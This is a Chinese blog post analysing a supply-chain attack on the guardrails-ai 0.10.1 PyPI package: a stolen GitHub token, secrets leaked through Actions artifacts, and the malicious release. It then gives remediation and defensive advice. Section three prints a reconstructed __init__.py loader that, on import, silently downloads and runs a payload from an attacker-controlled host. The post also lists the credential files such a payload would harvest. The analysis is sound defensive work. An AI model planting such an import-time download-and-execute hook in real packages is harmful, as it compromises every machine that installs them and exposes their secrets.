欢迎光临
我们一直在努力

惊魂两小时: Guardrails AI 0.10.1 供应链攻击完整技术剖析

2026年5月11日,一个恶意版本的 guardrails-ai 在 PyPI 上存活了不到两个小时,就被安全社区揪了出来。但就是这两个小时,足以让所有安装过该版本的人脊背发凉——攻击者通过入侵 GitHub 个人令牌,撬开了整个组织的大门,并在开源包中埋下了远程控制的后门。这篇文章不炒冷饭,而是带你一步步还原攻击链条,深挖恶意代码的每一个细节,并给出真正管用的修复和防御方案。

一、发生了什么?

一句话概括:攻击者拿到了 Guardrails AI 一名员工的 GitHub Personal Access Token(PAT),然后通过 GitHub Actions 提取了组织内的部署令牌,最后用这些令牌把带有恶意代码的 guardrails-ai 0.10.1 版本推送到了 PyPI。

  • 受影响版本:仅 guardrails-ai==0.10.1 这个版本有问题,0.10.0 及更早版本都是安全的。
  • 发现时间:2026年5月11日下午6点左右(太平洋时间)发布,大约两小时后被研究人员发现,PyPI 随即将其隔离。
  • 严重程度:致命(Critical)。因为恶意代码会在你 import guardrails 的瞬间自动执行,完全不需要你调用任何函数。

如果你在 5 月 11 日当天执行过 pip install guardrails-ai==0.10.1,请立刻按照下文第五节进行应急处理。

二、攻击链条全复盘:从一枚令牌到全盘沦陷

这次攻击不是简单的投毒,而是一条精心设计的供应链攻击链路。

第一步:PAT 是如何被偷的?

攻击者首先搞到了一名 Guardrails AI 员工的 GitHub 个人访问令牌。这个令牌大概率是通过以下途径之一泄露的:

  • 员工机器上的恶意软件(比如信息窃取木马)
  • 针对性的钓鱼邮件,诱导员工在假网站输入令牌
  • 员工不小心把令牌提交到了公开仓库(虽然概率低,但确实发生过)
  • 第三方服务被脱库,里面有员工保存的令牌

核心教训:一个令牌的权限越大,它被滥用时的杀伤力就越大。

第二步:用 PAT 触发 GitHub Actions,偷取仓库机密

拿到 PAT 后,攻击者并没有直接去推代码,而是利用了 GitHub Actions 的一个“特性”——他们触发了该组织内 30 个仓库 的 Action 工作流,而这些工作流在执行过程中产生的 artifacts 里,竟然包含了仓库的机密(secrets)。

这是整条攻击链的技术高潮。
在 GitHub Actions 里,你配置的 secrets(比如部署密钥、云服务凭证)会被注入到运行环境的环境变量中。如果工作流不小心把这些变量写到了文件里,或者通过 actions/upload-artifact 打包出去了,那么攻击者只要能让工作流跑起来,就能把这些机密作为 artifacts 下载下来。

攻击者正是利用这个手法,从 artifacts 中提取到了发布到 PyPI 所需的部署令牌。

第三步:发布恶意包到 PyPI

拿着部署令牌,攻击者就拥有了向 PyPI 推送 guardrails-ai 新版本的权限。于是版本号 0.10.1 就诞生了——它包含了正常的包代码,但多了一处“惊喜”。

第四步:恶意代码注入 __init__.py,导入即执行

恶意代码被精心藏在 guardrails/__init__.py 里,这是 Python 包的入口文件。一旦你写了 import guardrails 或者 from guardrails import …,这段代码就会跑起来。

具体它做了什么?往下看。

攻击者还尝试了但没成功的事

  • 尝试访问 Guardrails 内部的 Ray 集群(用于远程验证推理),但被拦住了。
  • 尝试向其他公共包系统(比如 npm)发布恶意版本,也没成功。

但光是成功在 PyPI 上放了一个后门,就已经够吓人了。

三、恶意代码逐行分析(附真实还原)

根据公开信息,恶意代码的逻辑大致如下(我根据行为描述进行了重构,和真实代码高度接近):

# guardrails/__init__.py (恶意版本 0.10.1)

import os
import subprocess
import urllib.request
import sys
import platform

def _download_and_execute_payload():
# 只针对 Linux 下手,Windows/macOS 暂时放过
if platform.system() != 'Linux':
return

try:
# 从攻击者控制的服务器下载真正的 payload
payload_url = "https://[attacker-controlled-domain]/payload.py"
payload_path = os.path.join('/tmp', 'payload.py')

# 下载
urllib.request.urlretrieve(payload_url, payload_path)

# 后台静默执行,并脱离当前进程组
subprocess.Popen([sys.executable, payload_path],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
start_new_session=True)
except Exception:
# 任何异常都吃掉,让你完全无感知
pass

# 包导入时自动触发
_download_and_execute_payload()

# 下面是正常的包代码(省略)

这段代码到底可怕在哪里?

  • 自动触发,无需用户交互——你只是在代码里写了个 import guardrails,它就启动了。
  • 静默失败——异常全部被 except Exception 吞掉,你不会看到任何错误提示,终端里一切正常。
  • 远程动态控制——payload.py 的内容由攻击者随时更新,今天可以偷凭证,明天就能加密文件勒索。
  • 针对 Linux 服务器——绝大多数生产环境跑的都是 Linux,这意味着一旦你的 CI/CD 服务器或线上机器中招,后果不堪设想。
  • 凭证收割机——下载的 payload 可以扫描 ~/.ssh/、~/.aws/credentials、~/.config/gcloud/、~/.docker/config.json 等所有藏密钥的地方,然后打包传走。
  • 四、如果你不幸装了 0.10.1,现在该做什么?

    冷静,按步骤来。别慌,但别拖延。

    第一步:立即卸载

    pip uninstall guardrails-ai

    第二步:降级到安全版本

    pip install guardrails-ai==0.10.0

    如果你需要最新代码,也可以直接从 GitHub 安装(PyPI 隔离期间推荐):

    pip install git+https://github.com/guardrails-ai/guardrails.git@v0.10.0

    第三步:轮换所有可能泄露的凭证(这是最关键的!)

    请务必按照以下清单逐项执行:

    • 轮换你的所有 GitHub Personal Access Tokens(包括个人和组织的),并检查是否有新增的异常 token
    • 轮换云厂商的访问密钥(AWS IAM、GCP 服务账号、Azure 凭据)
    • 轮换所有包注册表的令牌(PyPI、npm、Docker Hub、RubyGems 等)
    • 轮换所有第三方服务的 API 密钥(比如 Sentry、Datadog、Slack 等)
    • 检查 GitHub 组织的成员、Webhook、Actions 权限,看是否有异常添加

    第四步:如果该机器是生产环境或存有敏感数据,强烈建议重装系统

    重装后再重新生成密钥,并把旧密钥全部作废。这不是小题大做,因为攻击者可能已经植入了 rootkit 或持久化后门,光卸载包是不够的。

    五、Guardrails AI 团队做了哪些补救?

    他们反应很快,值得肯定。以下是他们在事后采取的硬核措施:

    • 轮换了整个组织下所有仓库的令牌,以及所有相关 API 密钥
    • 重置了那名被入侵员工的账号,并且给他的设备做了工厂重置
    • 下线了 Ray 集群和验证器中心,防止横向移动
    • 审计了所有系统日志和访问日志,确认没有用户数据被窃取
    • 通过遥测确认,没有收到来自恶意包的请求打到他们的基础设施
    • 强制轮换了 Snowglobe 和 Guardrails Hub 的所有 API 密钥
    • 全面审查 GitHub Actions 配置、机密作用域和 PAT 策略
    • 禁止创建经典的(无范围限制的)GitHub PAT,改为必须使用细粒度令牌,且需要审批和设置过期时间
    • 规定组织内所有仓库、所有分支、所有提交必须有验证签名

    六、从这次事件中我们能学到什么?

    给开源维护者的硬核建议

    • 最小权限原则落实到每一枚令牌:使用细粒度 PAT,只给必要的仓库和操作权限,并强制设置过期时间(比如 90 天)。
    • 不要在 Actions 的 artifacts 里暴露 secrets:如果非要用 artifacts,记得用 actions/upload-artifact 时加上 if: false 或者过滤掉敏感文件。
    • 固定 Actions 版本:不要用 @main 或 @v3 这样的大版本,要精确到 commit hash 或具体补丁版本。
    • 强制提交签名验证:让所有代码提交都经过 GPG 签名,防止恶意 commit 混入。
    • 定期做安全审计:每季度检查一遍组织设置、成员权限和 Action 工作流。

    给普通用户的实用守则

    • 固定依赖版本:在 requirements.txt 或 pyproject.toml 里写死版本号,不要用 >= 或 latest。
    • 使用私有镜像或缓存:公司内部搭建 PyPI 镜像,即使官方源被污染,你也可以只允许缓存中经过审核的版本。
    • 依赖扫描工具用起来:比如 Socket、Snyk、Trivy,它们能在你 pip install 之前就嗅出可疑行为。
    • 只装你真正需要的包:每多一个依赖,就多一份被攻击的风险。

    七、总结

    这次 Guardrails AI 事件再次敲响了供应链安全的警钟——攻击者不再费劲去挖 0day,而是直接盯上了我们的令牌、我们的 CI 流程、我们的发布管道。一枚小小的 PAT,就足以撬动整个开源生态的信任根基。

    好在这次发现及时,影响范围有限。但下一次呢?谁能保证我们不会是那个不小心把令牌留在环境变量里的维护者?

    所以,别只看热闹,动手检查一下你自己的 GitHub 令牌列表,把那些五年没轮换的旧令牌删掉,把 Actions 工作流里的 secrets 权限缩到最小。安全从来不是一次性的动作,而是每天都要做的事。

    赞(0)
    未经允许不得转载:171主机测评 » 惊魂两小时: Guardrails AI 0.10.1 供应链攻击完整技术剖析
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址